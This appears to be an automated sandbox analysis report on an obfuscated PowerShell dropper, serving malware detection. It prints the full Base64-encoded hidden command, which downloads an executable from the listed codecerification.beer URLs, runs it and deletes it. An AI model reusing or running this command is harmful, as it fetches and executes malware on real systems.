Analysis
- user interaction
yes - max time kernel
118s - max time network
114s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
20/06/2026, 10:16
General
- Target malware.ps1
- Size 2KB
- Sample260620-maxrssfv8z
- SHA256 d515fcf2f6c8303c95895835f827801499506528a5e083eb2d32802600dfc668
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
http://codecerification.beer/9c7807a011ff3a959237c540f0d16e0aef83c084e9cf0e7f98fd6d372615281f
-
exe.dropper
http://codecerification.beer/8348aeb3ca3281e0?ack=1
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\malware.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W H -EncodedCommand JABuADcAYQA5ADMAPQAnAEQAbwB3AG4AJwArACcAbABvAGEAZABEAGEAdABhACcAOwAkAG4AZgA0AGQAMQA9ACcAVwByAGkAdABlACcAKwAnAEEAbABsAEIAeQB0AGUAcwAnADsAJABnAGYAMQBiAGMAPQAwADsAJABnAGMANwBhADkAPQAwADsAdwBoAGkAbABlACgAJABnAGYAMQBiAGMALQBsAHQAIAAxADgAMwAxADgANAApAHsAJABnAGMANwBhADkAKwA9AFsAbQBhAHQAaABdADoAOgBTAHEAcgB0ACgAJABnAGYAMQBiAGMAKgA4ACkAOwArACsAJABnAGYAMQBiAGMAfQA7ACQAdQBmADMAMQAxADQAPQAtAGoAbwBpAG4AKABAACgAMwA2ACwANQA2ACwANQA2ACwANgAwACwAMQAxADgALAA5ADkALAA5ADkALAA0ADcALAAzADUALAA0ADAALAA0ADEALAA0ADcALAA0ADEALAA2ADIALAAzADcALAA0ADIALAAzADcALAA0ADcALAA0ADUALAA1ADYALAAzADcALAAzADUALAAzADQALAA5ADgALAA0ADYALAA0ADEALAA0ADEALAA2ADIALAA5ADkALAAxADEANwAsADQANwAsADEAMgAzACwAMQAxADYALAAxADIANAAsADEAMgAzACwANAA1ACwAMQAyADQALAAxADIANQAsADEAMgA1ACwANAAyACwANAAyACwAMQAyADcALAA0ADUALAAxADEANwAsADEAMgAxACwAMQAxADcALAAxADIANgAsADEAMgA3ACwAMQAyADMALAA0ADcALAAxADIAMQAsADEAMgAwACwAMQAyADQALAA0ADIALAAxADIANAAsADQAMAAsADEAMgA1ACwAMQAyADIALAA0ADEALAAxADIANAAsADQANQAsADQAMQAsADQAMgAsADEAMQA2ACwAMQAyADcALAA0ADcALAAxADIANAAsADEAMQA2ACwAMQAyADAALAA0ADEALAAxADEANwAsADQANwAsADQAMgAsADEAMgA0ACwANAAxACwAMQAyADMALAA0ADIALAAxADEANwAsADEAMQA2ACwANAAyACwANAAwACwAMQAyADIALAA0ADAALAAxADIANwAsADEAMgAzACwAMQAyADYALAAxADIAMgAsADEAMgA1ACwAMQAyADEALAAxADIANgAsADEAMQA2ACwAMQAyADUALAA0ADIAKQB8ACUAewBbAGMAaABhAHIAXQAoACQAXwAtAGIAeABvAHIANwA2ACkAfQApADsAJAB0AGQAPQBbAEkATwAuAFAAYQB0AGgAXQA6ADoAQwBvAG0AYgBpAG4AZQAoAFsASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApACwAWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAKQA7AFsASQBPAC4ARABpAHIAZQBjAHQAbwByAHkAXQA6ADoAQwByAGUAYQB0AGUARABpAHIAZQBjAHQAbwByAHkAKAAkAHQAZAApAHwATwB1AHQALQBOAHUAbABsADsAJAB0AGYAPQBbAEkATwAuAFAAYQB0AGgAXQA6ADoAQwBvAG0AYgBpAG4AZQAoACQAdABkACwAWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFIAYQBuAGQAbwBtAEYAaQBsAGUATgBhAG0AZQAoACkAKwAnAC4AZQB4AGUAJwApADsAJAB3AGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAKAAnAE4AZQB0AC4AVwBlACcAKwAnAGIAQwBsAGkAZQBuAHQAJwApADsAJABvAGsAPQAwADsAZgBvAHIAKAAkAGkAPQAwADsAJABpACAALQBsAHQAIAAzACAALQBhAG4AZAAgACEAJABvAGsAOwAkAGkAKwArACkAewB0AHIAeQB7AFsASQBPAC4ARgBpAGwAZQBdADoAOgAkAG4AZgA0AGQAMQAoACQAdABmACwAJAB3AGMALgAkAG4ANwBhADkAMwAoACQAdQBmADMAMQAxADQAKQApADsAaQBmACgAWwBJAE8ALgBGAGkAbABlAF0AOgA6AEUAeABpAHMAdABzACgAJAB0AGYAKQApAHsAJABvAGsAPQAxAH0AZQBsAHMAZQB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgADIAfQB9AGMAYQB0AGMAaAB7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgADIAfQB9ADsAaQBmACgAIQBbAEkATwAuAEYAaQBsAGUAXQA6ADoARQB4AGkAcwB0AHMAKAAkAHQAZgApACkAewBlAHgAaQB0AH0AOwBTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAHQAZgA7AHQAcgB5AHsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAANQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBEAGUAbABlAHQAZQAoACQAdABmACkAfQBjAGEAdABjAGgAewB9ADsAJAB1AGYANAA4ADMAMgA9AC0AagBvAGkAbgAoAEAAKAAxADIAMQAsADEAMAAxACwAMQAwADEALAA5ADcALAA0ADMALAA2ADIALAA2ADIALAAxADEANAAsADEAMgA2ACwAMQAxADcALAAxADEANgAsADEAMQA0ACwAMQAxADYALAA5ADkALAAxADIAMAAsADEAMQA5ACwAMQAyADAALAAxADEANAAsADEAMQAyACwAMQAwADEALAAxADIAMAAsADEAMgA2ACwAMQAyADcALAA2ADMALAAxADEANQAsADEAMQA2ACwAMQAxADYALAA5ADkALAA2ADIALAA0ADEALAAzADQALAAzADcALAA0ADEALAAxADEAMgAsADEAMQA2ACwAMQAxADUALAAzADQALAAxADEANAAsADEAMQAyACwAMwA0ACwAMwA1ACwANAAxACwAMwAyACwAMQAxADYALAAzADMALAA0ADYALAAxADEAMgAsADEAMQA0ACwAMQAyADIALAA0ADQALAAzADIAKQB8ACUAewBbAGMAaABhAHIAXQAoACQAXwAtAGIAeABvAHIAMQA3ACkAfQApADsAJABuAGQANQA1ADgAPQAnAEQAbwB3AG4AbABvAGEAZABTACcAKwAnAHQAcgBpAG4AZwAnADsAdAByAHkAewBbAHYAbwBpAGQAXQAkAHcAYwAuACQAbgBkADUANQA4ACgAJAB1AGYANAA4ADMAMgApAH0AYwBhAHQAYwBoAHsAfQA7AA==2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_avvgfyzw.3nd.ps1
memory/2716-15-0x000001F7E9BE0000-0x000001F7E9BF0000-memory.dmp
memory/2716-14-0x000001F7E9BE0000-0x000001F7E9BF0000-memory.dmp
memory/2716-24-0x000001F7E9BE0000-0x000001F7E9BF0000-memory.dmp
memory/5016-0-0x00000213D45B0000-0x00000213D45C0000-memory.dmp
memory/5016-1-0x00000213D45B0000-0x00000213D45C0000-memory.dmp
memory/5016-7-0x00000213D4580000-0x00000213D45A2000-memory.dmp
memory/5016-10-0x00000213D45B0000-0x00000213D45C0000-memory.dmp